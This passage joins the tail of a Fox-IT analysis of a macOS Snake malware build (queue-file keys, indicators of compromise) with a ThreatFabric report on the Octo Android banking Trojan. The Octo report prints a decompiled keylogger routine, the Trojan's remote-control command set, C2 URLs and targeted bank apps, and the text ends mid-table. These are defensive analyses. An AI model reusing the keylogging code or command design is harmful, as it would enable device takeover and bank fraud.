fwrite("Usage: snake_test e[vent]|n[ormal]\n", 0x30uLL, 1uLL, *__stderrp_ptr); ``` ```c fprintf(v16, "[%s:%s:%d] %s\n", "../../../snake/snake_test.c", "main", 86LL, err); ``` An interesting observation is the fact that the contents of a temporary file storing command output are converted using KOI8-R encoding, designed to cover the Russian language, which uses the Cyrillic alphabet. ```c ascii2uni(koi8_str, unicode_str, -1LL, "KOI8-R"); ``` This indicates that the developers tested with Russian command output (encoded using the KOI8-R codepage). On systems where the command output is displayed in another language (and another codepage), text would be incorrectly represented in Cyrillic characters. **Queue File** Builds of Snake generally contain a Queue file. Queue files are used to store Snake’s configuration data, module binaries, and queued network packets. ```bash $ python MM_snake_queuefile.py queue OFFSET STREAM TYPE ID SIZE WRITTEN DATA 0x0000006c 00000001 0002 00000227 00000010 2017-02-10 12:23:22 '\x98\xa7w{\xc7\xcc4\x03-\xdcz\x0b\xc9,`\x1c' ... ``` The following transport chains are configured in this queue file: ```text enc.unix//tmp/.gdm-socket read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4 enc.frag.reliable.doms.unix//tmp/.gdm-selinux psk=R@gw1gBsRP!5!yj0 enc.http.tcp/car-service.effers.com:80 psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0 ``` **Obfuscated Strings** Snake binaries contain strings that can be obtained through `snake_name_get()` call. These strings are stored as a pair of 0x40 byte blobs that are XOR-ed against each other. In this binary, the blobs only contain placeholders that are yet to be replaced by the actual values, which is another indication that this Snake binary is not yet ready to deploy to targets. ```text 00187e20 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |…..012A04DECBC| ... ``` **Indicators of Compromise** **Files** ```text /Library/LaunchDaemons/com.adobe.update.plist /Library/Scripts/installd.sh /Library/Scripts/queue /var/tmp/.ur-* /tmp/.gdm-socket /tmp/.gdm-selinux ``` **SHA256:** ```text b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea Install Adobe Flash Player.app.zip 5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060 install.sh 7848f7808af02ba0466f3a0687cf949c4d29a2d94b035481a3299ec519aaaa30 Install Adobe Flash Player d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2 Installdp b6df610aa5c1254c3af5b2ff806562c4937704e4ac248577cdcd3e7e7b3578a0 com.adobe.update 6e207a375782e3c9d86a3e426cfa38eddcf4898b3556abc75889f7e01cc49506 installd.sh 92721d719b8085748fb66366d202457f6d38bfa108a2ecda71eee7e68f43a387 queue ``` **Network** The following domain is configured in Snake's queue file for HTTP network transport: ```text car-service.effers.com ``` The resolving IP belongs to a Satellite communications provider: ```text 83.229.87.11 ``` Though Snake is typically spread using spear-phishing e-mails and watering hole attacks, Fox-IT has not yet observed this sample being spread in the wild. **Authors** Jelle Vergeer, Krijn de Mik, Mitchel Sahertian, Maarten van Dantzig & Yun Zheng Hu Fox-IT Threat Intelligence
# Look out for Octo's tentacles! A new on-device fraud Android Banking Trojan with a rich legacy In mid-2021, a new Android banking malware strain was spotted in the wild. While some AV companies dubbed it as a new family with the name “Coper”, ThreatFabric threat intelligence pointed towards it being a direct descendant of the well-known malware family Exobot. First observed in 2016, and based on the source code of the banking Trojan Marcher, Exobot was maintained until 2018 targeting financial institutions with a variety of campaigns focused on Turkey, France, Germany, Australia, Thailand, and Japan. Subsequently, a “lite” version of it was introduced, named ExobotCompact by its author, the threat actor known as “android” on dark-web forums. ThreatFabric analysts were able to establish a direct connection between ExobotCompact and this newly spotted malware strain, dubbed ExobotCompact.B on our MTI Portal. After some iterations of updates in ExobotCompact, the latest variant was introduced in November 2021, referred to as ExobotCompact.D. The latest activity of this malware family and the actors behind it involves distribution through several malicious applications on Google Play Store. These applications were installed more than 50k times and were targeting financial organizations all over the world, both with broad and generic campaigns with a large number of targets, as well as very narrow and focused campaigns throughout Europe. On January 23, 2022, ThreatFabric analysts spotted a post on one of the darknet forums, in which a member was looking for Octo Android botnet. Further analysis uncovered a direct connection between Octo and ExobotCompact: in fact, ExobotCompact was updated with several features and rebranded to Octo. This blog covers details of attribution made by ThreatFabric analysts and provides more details of the Modus Operandi of this Android banking Trojan. ## On-device fraud is here The major update made to ExobotCompact brought remote access capability, thus allowing the threat actors behind the Trojan to perform on-device fraud (ODF). ODF is the most dangerous, risky, and inconspicuous type of fraud, where transactions are initiated from the same device that the victim uses every day. In this case, anti-fraud engines are challenged to identify the fraudulent activity with significantly fewer suspicious indicators compared to other types of fraud performed through different channels. In general, to get remote control over the device, cybercriminals need screen-streaming to see the contents of the screen and some mechanism to execute actions on the device. To establish remote access to the infected device, ExobotCompact.D relies on built-in services that are part of Android OS: MediaProjection for screen streaming and AccessibilityService to perform actions remotely. Even though this solution cannot be deemed completely reliable, it is a realistic way to have remote control over the device. Screen streaming with MediaProjection is based on sending screenshots at a high rate (1 per second), which gives the operator close to live representation of what is happening on the remote device. When ExobotCompact.D receives the “start_vnc” command, it parses the configuration sent together with this command: | Option | Description | |-------------|-----------------------------------------------------------------------------| | STREAM_SCREEN | Enables screen streaming with MediaProjection | | BLACK | Enables black screen overlay to hide remote actions from the victim | | SILENT | Disables all notifications (no interruption mode), sets screen brightness to 0 | “BLACK” and “SILENT” options help to not raise suspicion in victims as all remote actions and events caused by them will be hidden and performed invisibly. Besides screen streaming, ExobotCompact.D is able to read all the contents of the screen, including elements’ ID, type, and location on the screen. Having this information, the actor is able to re-create the layout of the screen on the C2 backend and have visibility on the internal structure of any app installed on the device. This information is later used when interacting with the remote device to point to the element that should be interacted with (i.e., clicked). Having this real-time visibility, including the internal layout of applications, the operator can send actions to be executed on the device with the help of the “vnc_tasks” command. The supported actions are listed in the table below: | VNC task | Description | |---------------|--------------------------------------------------| | click_at | Performs click at specified coordinates X, Y | | gesture | Performs gesture | | set_text | Sets specified text in specified element | | long_click | Performs long click | | action | Performs specified action | | set_clip | Sets clipboard text to specified one | | paste | Pastes data from clipboard | | send_pattern | Performs gesture based on the specified pattern | | scroll | Performs scroll up/down | These actions that the Trojan is able to perform on the victim’s behalf are sufficient to implement an Automated Transfer System (ATS). In that case, the operator does not have to manually interact with the remote device but can simply send a sequence of actions to execute. Its execution can lead to automatic initiation of fraudulent transactions and its authorization without manual efforts from the operator, thus allowing fraud on a significantly larger scale. ## Octo is the new Exo At the time when Octo Android botnet was first mentioned on forums, it was unclear what botnet this was, whether it was some new malware family or just some well-known family rebranded. On February 3, 2022, another member revealed the owner of the Octo botnet, a member of the forum known as “Architect”. Later in March, Architect confirmed he/she is the owner and seller of the Octo botnet. Earlier posts by Architect reveal his/her skills. A search by telegram contact reveals another nickname used by “Architect” on another forum: “goodluck”. On this forum, “goodluck” mentioned that he/she has a private Trojan written from scratch on December 10. While investigating the Octo botnet, ThreatFabric analysts spotted certain similarities between ExobotCompact features and skills of the Octo botnet owner, “Architect”: - “Source code protection from reverse (with native wrapper in C++)” - ExobotCompact uses proprietary payload obfuscation implemented in a native library that protects it from reverse engineering. - “Publication in Google Play with 100% approval” – ExobotCompact was seen distributed by several droppers uploaded to the official Google Play store. - “Disable Google Protect” – one of the first actions that ExobotCompact makes upon installation. At this point, ThreatFabric analysts made a hypothesis that the Octo botnet is a rebranding of ExobotCompact, and “Architect” is either a new owner of the source code or the same actor who was behind Exobot and ExobotCompact.A. To prove this hypothesis, ThreatFabric analysts examined the supported commands of ExobotCompact, its capabilities, and commands available on the administrator panel of the Octo banking Trojan. Here is a summary of our findings: - Both ExobotCompact and Octo have remote access capability, and it is called “VNC” in both cases. - The Octo panel has six time-based configurations that configure delays before executing some action. This list exactly matches the same delays that ExobotCompact can receive from C2. Some of the configurations, like “minimize_delay” or “get_device_admin_delay” are unique and we have not seen in other malware except ExobotCompact. - The commands available on the Octo panel are similar to commands supported by ExobotCompact and do not contain any command that is not present in ExobotCompact code. Thus, having these facts in mind, we conclude that ExobotCompact was rebranded to Octo Android banking Trojan and is rented by its owner “Architect”, also known as “goodluck”. ThreatFabric tracks this variant as ExobotCompact.D. ## Other capabilities ExobotCompact/Octo has several notable features that help it to stay under the radar and perform on-device fraud (ODF). The full list of Octo capabilities is shown hereunder: ### Proprietary payload extraction Analyzing the current mobile threats landscape, it is hard to point out a malware family that does not use anti-detection and anti-analysis techniques. However, most threat actors use third-party services that provide malicious payload protection (so-called “cryptors”), while ExobotCompact implements proprietary payload protection developed by its author. ExobotCompact.D uses a native library to decrypt and load the malicious payload, which makes it hard to analyze and detect. Despite the fact that the idea of using native libraries for obfuscation is not new, the implementation is quite unique and was only seen used by ExobotCompact. The author of ExobotCompact pays attention not only to the development of new features but also to improving the payload protection. First versions of native payload obfuscation were rather straightforward: the “decryptor” code was not obfuscated itself, making it easy to read and analyze. In the latest versions of this native wrapper, the author took a further step: native code obfuscation. Since a lot of anti-virus solutions rely on signature-based detection, this obfuscation makes it harder for them to detect the malicious activity as native code does not contain “suspicious” string signatures. ### Keylogger Just like most modern mobile malware, ExobotCompact is not an exception and features keylogging capability in its arsenal. This capability is powered by AccessibilityService abuse: applications that have this service enabled can receive all system events (applications start, user input, content displayed on the screen, etc.). ExobotCompact uses it to log every action that the user makes on the infected device. ExobotCompact.D keylogging feature can capture the following data, among others: - lock pattern/PIN used to unlock the device - URLs of websites opened in Google Chrome browser - Clicks, including the information about the element clicked - Input focus changed event - Text changed event The following code snippet shows the keylogging procedure: ```java public void keylogging(AccessibilityEvent acsbEvent) { String capturedData = AcsbHelper.gitPinPattern(this.ctx, this.getRootActiveWindow()); if(!capturedData.isEmpty()) { String packageName = AcsbService.goto(); if(!packageName.isEmpty()) { capturedData = "Package: " + packageName + "; " + capturedData; } if(packageName.equals("com.android.chrome")) { AccessibilityNodeInfo v1_1 = AcsbHelper.break(this.getRootActiveWindow(), "url_bar"); if(v1_1 != null) { capturedData = "URL: " + v1_1.getText().toString() + "; " + capturedData; } } Misc.sendCapturedData(this.ctx, capturedData); } if(!SharedPrefs.getBool(this.ctx, "keylogger_enabled", Boolean.FALSE).booleanValue()) { return; } int keylogger_delay = (int)SharedPrefs.getInt(this.ctx, "keylogger_delay", Integer.valueOf(0)); if(((long)SharedPrefs.getLong(this.ctx, "uptime", Long.valueOf(0L))) < ((long)keylogger_delay)) { return; } String v6 = AcsbHelper.parseAcsbEvent(this.ctx, acsbEvent, AcsbService.goto()); Misc.writeToKeylog(this.ctx, v6); } ``` ### Commands The following table contains all the accepted commands that can be sent from the C2: | Commands | Description | |---------------------------------|--------------------------------------------------------------| | block_push_apps | Blocks push notifications from specified applications | | block_push_delay | Sets delay before starting to block push notifications | | extra_domains | Updates list of C2s | | get_device_admin_delay | Sets delay before attempt to become Device Admin | | injects_delay | Sets delay before starting injecting | | injects_list | Sets list of targeted applications for overlay attack | | intercept_off | Disables SMS interception | | intercept_on | Enables SMS interception | | keylogger_delay | Sets delay before starting keylogging | | keylogger_enabled | Enables/disables keylogger | | kill_bot | Stops running Trojan | | lock_off | Stops disabling sound and locking the device screen | | lock_on | Disables sound and temporarily locks the device screen | | minimize_apps | Sets list of applications that will be closed with GLOBAL_ACTION_HOME | | minimize_delay | Sets delay before starting to close applications | | net_delay | Sets delay for network requests | | open_url | Opens specified URL | | push | Shows push notification | | register_again | Registers bot again | | run_app | Launches specified application | | sms | Sends a text message with specified text from the infected device to the specified phone number | | start_fg | Starts Foreground mode | | stop_fg | Stops Foreground mode | | start_keylogger | Enables keylogger | | stop_keylogger | Disables keylogger | | uninstall_apps | Sets delay before starting to uninstall applications | | uninstall_delay | Sets list of applications to be uninstalled | | ussd | Executes the specified USSD code | | vnc_start | Starts remote access session | | vnc_stop | Stops remote access session | | vnc_tasks | Updates list of remote actions to execute | ## Campaigns and actors Being a rental banking Trojan, ExobotCompact.D is used by several threat actors, who maintain different campaigns. Most of them use malicious landing pages to distribute ExobotCompact.D under the guise of some software update. However, some of the actors use a more inventive approach using dropper apps in the official Google Play Store. In this section, we will cover the most notable actors and campaigns. Our threat intelligence shows that there are more than 5 different actors behind Octo, presumably including the owner him/herself, based on the different C2 URL paths we have seen used by it. Our investigation of darknet forums also reveals several customers of “Architect” / “goodluck”. ### Fast Cleaner In early February 2022, ThreatFabric analysts discovered a dropper on Google Play named “Fast Cleaner”, which was in fact a sample of GymDrop dropper Trojan, also discovered by ThreatFabric in November 2021. This dropper had 50,000+ installations and was seen distributing ExobotCompact.D as well as Alien.A and Xenomorph.A. This campaign was active almost the whole of February 2022 and targeted mostly users of European banks from Spain, Belgium, Portugal, and Italy. ### Pocket Screencaster and Google Chrome Shortly after the Fast Cleaner campaign ended, ThreatFabric analysts discovered another GymDrop dropper on Google Play posing as an application for screen recording. However, unlike the previous campaign, this dropper was only seen distributing ExobotCompact.D and no other malware families. Moreover, the dropper itself is allowed to be installed only for users from the UK, Poland, Spain, and Portugal. As we have pointed out previously, C2s and its paths highly likely correlate with unique threat actors behind ExobotCompact.D. Based on this fact, the same actor operates the ongoing campaign where the Trojan is posing as a Google Chrome update. This fact explains the great number of overlay targets from almost all over the world: the actor is using the same C2 to operate different campaigns, global and focused on European users. ### Financial apps Another actor behind ExobotCompact.D seems to be highly focused on customers of several European banks and is using their icons and application names to lure victims into installing the application. The specific focus is also indicated by a rather short list of targeted applications to perform overlay attacks. These applications belong to financial organizations from Germany and Austria. The actor behind this campaign was first using a quite large target list that included around 70 applications, but at the time of writing this report, it is also highly focused on customers from a specific country (Hungary) and is distributing ExobotCompact.D under the guise of a Play Store update through malicious websites. Besides the aforementioned threat actors, there are several actors who use different masks to lure victims into installing the application, thus launching and testing different campaigns and different masks. These include already mentioned updates for Google Chrome, financial apps, messengers (i.e., WhatsApp), etc. ## Conclusions ExobotCompact.D serves as a great example of modern mobile banking malware. Rebranding to Octo erases previous ties to the Exobot source code leak, inviting multiple threat actors looking for the opportunity to rent an allegedly new and original Trojan. Its capabilities put at risk not only explicitly targeted applications that are targeted by overlay attacks but any application installed on the infected device as ExobotCompact/Octo is able to read the content of any app displayed on the screen and provide the actor with sufficient information to remotely interact with it and perform on-device fraud (ODF). Moreover, this includes all authenticator applications that display OTP codes on the screen. ExobotCompact/Octo has dangerous capabilities, powered by inventive distribution schemes including droppers on the official Google Play store and malicious landing pages. Thus, customers are very likely to fall into installing the malware on their devices, allowing the actors to have remote access to their devices and therefore to their banking accounts. To properly detect possible ODF, we recommend financial institutions to have a strong client-side detection solution that can detect malware not only by signatures (ExobotCompact proves that it can be useless) but by its malicious behavior. ## MTI & CSD Our Mobile Threat Intelligence (MTI) service provides financial institutions with better visibility on the increasing threat of mobile banking malware. Banks that are using MTI understand which malware campaigns are targeting their mobile channel and how their mobile banking users are impacted. With our Client Side Detection (CSD) service, we are helping financial institutions to gain visibility on (potential) fraud by mobile banking malware and to prevent it. If you would like to know more about how we use our mobile threat intelligence to detect mobile banking malware on mobile devices, feel free to reach out to [email protected]. ## Appendix ### GymDrop droppers on Google Play | App name | Package name | SHA256 Hash | |-------------------|---------------------------|-------------------------------------------------------| | Pocket | com.moh.screen | a3488f45b013f9dcb0ce3cd482d0118101714caa43ea414929514d3ee2d9c76a | | Screencaster | vizeeva.fast.cleaner | 6044a81e51465bff2133cc9be0f500ecc497cb6206d3a112915cfd9ee80cf4a3 | ### ExobotCompact.D/Octo Samples | App name | Package name | SHA256 Hash | |-------------------|-------------------------|-------------------------------------------------------| | Play Store | com.restthe71 | 791a3d41c105711b69a181e6a3b4073c4e9c107b67daafab0d2851386f0c154e | | Postbank | com.carbuildz | d518a26b3d98d4a8e1c0552e38da9bd70b43d626cfec71c831c1ad5314c69685 | | Security | com.cutthousandjs | 01edc46fab5a847895365fb4a61507e6ca955e97f5285194b5ec60ee80daa17c | | Screencaster | com.frontwonder2 | 439f8c57bca9c09aa0364ebb7560eebb130d22a8e6482f3433a5797765a283d5 | ### ExobotCompact.D/Octo C2 URLs - hxxps://ifn1h8ag1g[.]com/mwnhmji2otkynja3/ - hxxps://smartcontractlicense[.]info/puap9udshc2zmzjmmuzmghst/ - hxxps://s22231232fdnsjds[.]top/parhfzp5sg2sn/ - hxxps://equisdeperson[.]space/mdi0odlhnzaxyzg2/ - hxxps://xipxesip[.]design/sljs1nzkwnwvmymrsnc/ ### ExobotCompact Targets | Package name | Application name | |-------------------------------------------------------------|------------------------------------------------------| | de.postbank.bestsign | Postbank BestSign | | com.bbva.netcash | BBVA Net Cash | ES & PT | | es.bancosantander.apps | Santander | | es.lacaixa.mobile.android.newwapicon | CaixaBank | | www.ingdirect.nativeframe | ING España. Banca Móvil | | com.bbva.bbvacontigo | BBVA Spain | | app.wizink.es | WiZink, tu banco senZillo | | com.cajasur.android | Cajasur | | com.db.pbc.mibanco | Mi Banco db | | com.grupocajamar.wefferent | Grupo Cajamar | | com.indra.itecban.mobile.novobanco | NBapp Spain | | com.mediolanum | Banco Mediolanum España | | com.rsi | ruralvía | | com.tecnocom.cajalaboral | Banca Móvil Laboral Kutxa | | es.caixagalicia.activamovil | ABANCA- Banca Móvil | | es.caixaontinyent.caixaontinyentapp | Caixa Ontinyent | | es.evobanco.bancamovil | EVO Banco móvil | | es.liberbank.cajasturapp | Banca Digital Liberbank | | es.openbank.mobile | Openbank – banca móvil | | es.pibank.customers | Pibank | | es.univia.unicajamovil | UnicajaMovil | | com.bankinter.launcher | Bankinter Móvil | | es.cm.android | Bankia | | es.ibercaja.ibercajaapp | Ibercaja | | de.postbank.finanzassistent | Postbank Finanzassistent | | com.bancsabadell.wallet | Sabadell Wallet | | com.easybank.easybank | easybank App | | com.abanca.bancaempresas | ABANCA Empresas | | com.bankinter.empresas | Bankinter Empresas | | com.cajaingenieros.android.bancamovil | Caja de Ingenieros Banca MÓVIL | | com.indra.itecban.triodosbank.mobile.banking | Triodos Bank. Banca Móvil | | com.kutxabank.android | Kutxabank | | com.rsi.ruralviawallet2 | ruralvía pay | | es.bancosantander.empresas | Santander Empresas | | es.bancosantander.wallet | Santander Wallet | | es.ceca.cajalnet | Cajalnet | | es.santander.money | Santander Money Plan | | net.inverline.bancosabadell.officelocator.android | Banco Sabadell App. Your mobile bank | | com.bankinter.bkwallet | Bankinter Wallet | | at.bank99.meine.meine | meine99 | Online Banking | | com.android.vending | Google Play | | com.bawagpsk.bawagpsk | BAWAG PSK klar – Mobile Banking App | | org.stgeorge.bank | St.George Mobile Banking | | au.com.bankwest.mobile | Bankwest | | au.com.nab.mobile | NAB Mobile Banking | | com.anz.android.gomoney | ANZ Australia | | com.bankofqueensland.boq | BOQ Mobile | | com.bendigobank.mobile | Bendigo Bank | | com.commbank.netbank | CommBank | | com.fusion.banking | Bank Australia app | | com.fusion.beyondbank | Beyond Bank Australia | | org.banksa.bank | BankSA Mobile Banking | | org.bom.bank | Bank of Melbourne Mobile Banking | | org.westpac.bank | Westpac Mobile Banking | | uk.co.tsb.newmobilebank | TSB Mobile Banking | | com.google.android.gm | Gmail | | com.microsoft.office.outlook | Microsoft Outlook: Organize Your Email & Calendar | | ca.mobile.explorer | CA Mobile | | cgd.pt.caixadirectaparticulares | Caixadirecta | | com.abanca.bm.pt | ABANCA - Portugal | | com.bbva.mobile.pt | BBVA Portugal | | com.exictos.mbanka.bic | Banco BIC, SA | | pt.bancobpi.mobile.fiabilizacao | BPI APP | | pt.novobanco.nbapp | NB smart app | | pt.sibs.android.mbway | MB WAY | | wit.android.bcpbankingapp.millennium | - | | com.ally.mobilebanking | - | | com.bmoharris.digital | BMO Digital Banking | | com.botw.mobilebanking | Bank of the West Mobile | | com.chase.sig.android | Chase Mobile | | com.citi.citimobile | Citi Mobile® | | com.citizensbank.androidapp | Citizens Bank Mobile Banking | | com.clairmail.fth | Fifth Third Mobile Banking | | com.compasssavingsbank.mobile | Compass Savings Bank | | com.infonow.bofa | Bank of America Mobile Banking | | com.konylabs.capitalone | Capital One® Mobile | | com.mfoundry.mb.android.mb_136 | People’s United Bank Mobile | | com.morganstanley.clientmobile.prod | Morgan Stanley Wealth Mgmt | | com.navyfederal.android | Navy Federal Credit Union | | com.pnc.ecommerce.mobile | PNC Mobile | | com.suntrust.mobilebanking | SunTrust Mobile App | | com.wf.wellsfargomobile | Wells Fargo Mobile | | com.zellepay.zelle | Zelle | | com.bitfinex.mobileapp | Bitfinex | | com.kraken.trade | Pro: Advanced Bitcoin & Crypto Trading | | it.carige | Carige Mobile | | pt.santandertotta.mobileparticulares | Santander Particulares | | es.unicajabanco.app | Unicaja Banco | | com.booking | Booking.com: Hotels, Apartments & Accommodation | | com.denizbank.mobildeniz | MobilDeniz | | com.garanti.cepsubesi | Garanti BBVA Mobile | | com.vakifbank.mobile | VakıfBank Mobil Bankacılık | | com.ykb.android | Yapı Kredi Mobile | | com.ziraat.ziraatmobil | Ziraat Mobile | | com.abanca.bancamovil.particulares | ABANCA | | com.arkea.android.application.cmb | Crédit Mutuel de Bretagne | | com.arkea.android.application.cmso2 | CMSO ma banque : solde, virement & épargne | | com.cic_prod.bad | CIC | | com.fortuneo.android | Fortuneo, mes comptes banque & bourse en ligne | | com.ocito.cdn.activity.creditdunord | Crédit du Nord pour Mobile | | fr.laposte.lapostemobile | La Poste - Services Postaux | | fr.oney.mobile.mescomptes | Oney France | | net.bnpparibas.mescomptes | Mes Comptes BNP Paribas | | com.akbank.android.apps.akbank_direkt | Akbank | | org.toshi | Coinbase Wallet — Crypto Wallet & DApp Browser | | at.volksbank.volksbankmobile | Volksbank hausbanking | | au.com.commbank.commbiz.prod | CommBiz | | au.com.cua.mb | CUA Mobile Banking | | au.com.hsbc.hsbcaustralia | HSBC Australia | | au.com.rams.rams | - | | au.com.ubank.internetbanking | UBank Mobile Banking | | co.zip | Zip - Shop Now, Pay Later | | com.advantage.raiffeisenbank | - | | com.ambank.ambankonline | AmOnline | | com.anz.transactive.global | ANZ Transactive - Global | | com.bankaustria.android.olb | Bank Austria MobileBanking | | com.barclaycardus | Barclays US | | com.barclays.android.barclaysmobilebanking | Barclays | | com.barclays.ke.mobile.android.ui | Barclays Kenya | | com.bochk.com | BOCHK | | com.cajasiete.android.cajasietereport | Report | | com.comarch.mobile.banking.bgzbnpparibas.biznes | Mobile BiznesPl@net | | com.comarch.security.mobilebanking | ING Business | | com.cooperativebank.bank | The Co-operative Bank | | com.credemmobile | - | | com.db.pbc.dbpay | - | | com.engage.pbb.pbengage2my.release | PB engage MY | | com.exmo | EXMO Official - Trading crypto on the exchange | | com.fibi.nativeapp | ימואלניבה קנבה | | com.greater.greater | - | | com.grppl.android.shell.bos | - | | com.grppl.android.shell.cmblloydstsb73 | - | | com.grppl.android.shell.halifax | Halifax: the banking app that gives you extra | | com.hsbc.hsbcnet | HSBCnet Mobile | | com.htsu.hsbcpersonalbanking | HSBC Mobile Banking | | com.ideomobile.discount | Discount Bank | | com.isis_papyrus.raiffeisen_pay_eyewdg | Raiffeisen ELBA | | com.itau.empresas | Itaú Empresas: Controle e Gestão do seu Negócio | | com.konylabs.hongleongconnect | - | | com.leumi.leumiwallet | ימואל | | com.mizrahitefahot.nh | - | | com.moneybookers.skrillpayments | Skrill - Fast, secure online payments | | com.moneybookers.skrillpayments.neteller | NETELLER - fast, secure and global money transfers | | com.mtel.androidbea | BEA 東亞銀行 | | com.nearform.ptsb | permanent tsb | | com.paxful.wallet | Paxful Bitcoin Wallet | | com.popular.android.mibanco | Mi Banco Mobile | | com.rbs.mobile.android.natwest | NatWest Mobile Banking | | com.rbs.mobile.android.rbs | Royal Bank of Scotland Mobile Banking | | com.unionbank.ecommerce.mobile.android | Union Bank Mobile Banking | | com.westernunion.moneytransferr3app.es | Western Union ES - Send Money Transfers Quickly | | de.adesso_mobile.secureapp.netbank | SecureApp netbank | | de.number26.android | N26 — The Mobile Bank | | de.santander.presentation | Santander Banking | | eu.atlantico.bancoatlanticoapp | MY ATLANTICO | | eu.eleader.mobilebanking.invest | plusbank24 | | eu.eleader.mobilebanking.pekao | Pekao24Makler | | eu.eleader.mobilebanking.pekao.firm | PekaoBiznes24 | | eu.inmite.prj.kb.mobilbank | Mobilni Banka | | hr.asseco.android.mtoken.bos | iBOSStoken | | il.co.yahav.mobbanking | ןובשח לוהינ - בהי קנב | | io.cex.app.prod | CEX.IO Cryptocurrency Exchange | | jp.co.netbk | 住信SBIネット銀行 | | me.cryptopay.android | C.PAY | | net.garagecoders.e_llavescotiainfo | ScotiaMóvil | | nz.co.asb.asbmobile | ASB Mobile Banking | | org.banking.bom.businessconnect | Bank of Melbourne Business App | | org.banking.bsa.businessconnect | BankSA Business App | | org.banking.stg.businessconnect | St.George Business App | | org.westpac.col | Westpac Corporate Mobile | | pl.bph | BusinessPro Lite | | pl.bzwbk.bzwbk24 | Santander mobile | | pl.bzwbk.ibiznes24 | iBiznes24 mobile | | pl.eurobank2 | eurobank mobile 2.0 | | pl.ideabank.mobilebanking | Idea Bank PL | | pl.ing.mojeing | Moje ING mobile | | pl.millennium.corpapp | - | | pl.nestbank.nestbank | Nest Bank nowy | | pl.pkobp.ipkobiznes | iPKO biznes | | tsb.mobilebanking | TSB Bank Mobile Banking | | uk.co.hsbc.hsbcukmobilebanking | HSBC UK Mobile Banking | | uk.co.mbna.cardservices.android | MBNA - Card Services App | | uk.co.metrobankonline.mobile.android.production | Metro Bank | | uk.co.santander.santanderuk | - | | uk.co.tescomobile.android | Tesco Mobile | | au.com.auswidebank.auswidebank | Auswide Bank | | au.com.ingdirect.android | ING Australia Banking | | au.com.pnbank.android | P&N BANKING APP | | enterprise.com.anz.shield | ANZ Shield | | com.android.chrome | Google Chrome: Fast & Secure | | it.ingdirect.app | ING Italia | | at.ing.diba.client.onlinebanking | ING Banking Austria | | com.squareup.cash | Cash App | | com.binance.dev | Binance - Buy & Sell Bitcoin Securely | | com.coinbase.android | Coinbase – Buy & Sell Bitcoin. Crypto Wallet | | com.latuabancaperandroid | Intesa Sanpaolo Mobile | | piuk.blockchain.android | Blockchain Wallet. Bitcoin, Bitcoin Cash, Ethereum | | be.argenta.bankieren | Argenta Banking | | be.axa.mobilebanking | Mobile Banking Service | | be.belfius.directmobile.android | Belfius Mobile | | com.beobank_prod.bad | Beobank Mobile | | com.bnpp.easybanking | Easy Banking App | | com.connectivityapps.hotmail | Connect for Hotmail & Outlook: Mail and Calendar | | com.imaginbank.app | imaginBank - Your mobile bank | | com.indra.itecban.triodosbank.mobile.banki | - | | com.ing.banking | ING Banking | | com.kbc.mobile.android.phone.kbc | KBC Mobile | | com.lynxspa.bancopopolare | YouApp | | com.mail.mobile.android.mail | mail.com mail | | com.paypal.android.p2pmobile | PayPal Mobile Cash: Send and Request Money Fast | | com.plunien.poloniex | Poloniex Crypto Exchange | | com.sella.bancasella | - | | com.targoes_prod.bad | TARGOBANK - Banca a distancia | | com.transferwise.android | TransferWise Money Transfer | | com.wavesplatform.wallet | Waves.Exchange | | com.yahoo.mobile.client.android.mail | Yahoo Mail – Organized Email | | es.cecabank.ealia2091appstore | ABANCA Pay - Paga y envía dinero con el móvil | | es.cecabank.ealia2103appstore | UniPay Unicaja | | it.bcc.iccrea.mycartabcc | myCartaBCC | | it.bnl.apps.banking | BNL | | it.copergmps.rt.pf.android.sp.bmps | Banca MPS | | it.creval.bancaperta | Bancaperta | | it.nogood.container | UBI Banca | | it.popso.scrignoapp | - | | net.bitbay.bitcoin | Bitcoin & Crypto Exchange - BitBay | | net.bitstamp.app | Bitstamp – Buy & Sell Bitcoin at Crypto Exchange | | org.electrum.electrum | Electrum Bitcoin Wallet | | posteitaliane.posteapp.appbpol | BancoPosta | | posteitaliane.posteapp.apppostepay | Postepay | | wit.android.bcpbankingapp.activobank | - | | com.aff.otpdirekt | OTP SmartBank | | hr.asseco.android.intesa.isbd.cib | CIB Bank | | hr.asseco.android.jimba.muci.hu | - | | hu.bb.mobilapp | Budapest Bank Mobil App | | hu.cardinal.cib.mobilapp | CIB Business Online | | hu.cardinal.erste.mobilapp | Erste Business MobilBank | | hu.khb | K&H mobilbank | | hu.mkb.mobilapp | MKB Mobilalkalmazás | | com.aadhk.woinvoice | Invoice Maker: Estimate & Invoice App | | com.airbnb.android | Airbnb | | com.americanexpress.android.acctsvcs.us | Amex | | com.aol.mobile.aolapp | AOL - News, Mail & Video | | com.att.mywireless | - | | com.bbt.myfi | U by BB&T | | com.cibc.android.mobi | CIBC Mobile Banking® | | com.discoverfinancial.mobile | Discover Mobile | | com.etrade.mobilepro.activity | E*TRADE: Invest. Trade. Save. | | com.key.android | KeyBank Mobile | | com.match.android.matchmobile.asiapac | Match Dating - Meet Singles | | com.mcom.firstcitizens | First Citizens Mobile Banking | | com.mtb.mbanking.sc.retail.prod | M&T Mobile Banking | | com.rbinternational.retail.mobileapp | myRaiffeisen mobile app | | com.schwab.mobile | Schwab Mobile | | com.tdbank | TD Bank (US) | | com.ubs.swidkxj.android | - | | com.usaa.mobile.android.usaa | USAA Mobile | | com.woodforest | Woodforest Mobile Banking | | org.ncsecu.mobile | SECU | | ca.affinitycu.mobile | Affinity Mobile | | ca.bnc.android | National Bank of Canada | | ca.hsbc.hsbccanada | HSBC Canada | | ca.manulife.mobilegbrs | - | | ca.motusbank.mapp | motusbank mobile banking | | ca.pcfinancial.bank | PC Financial Mobile | | ca.servus.mbanking | Servus Mobile Banking | | ca.tangerine.clients.banking.app | Tangerine Mobile Banking | | com.anabatic.canadia | Canadia Mobile Banking | | com.atb.atbmobile | - | | com.atb.businessmobile | ATB Business - Mobile Banking | | com.coastcapitalsavings.dcu | Coast Capital Savings | | com.desjardins.mobile | Desjardins mobile services | | com.eqbank.eqbank | EQ Bank Mobile Banking | | com.meridian.android | Meridian Mobile Banking | | com.pcfinancial.mobile | Simplii Financial | | com.rbc.mobile.android | RBC Mobile | | com.scotiabank.banking | Scotiabank Mobile Banking | | com.shaketh | Shakepay: Buy 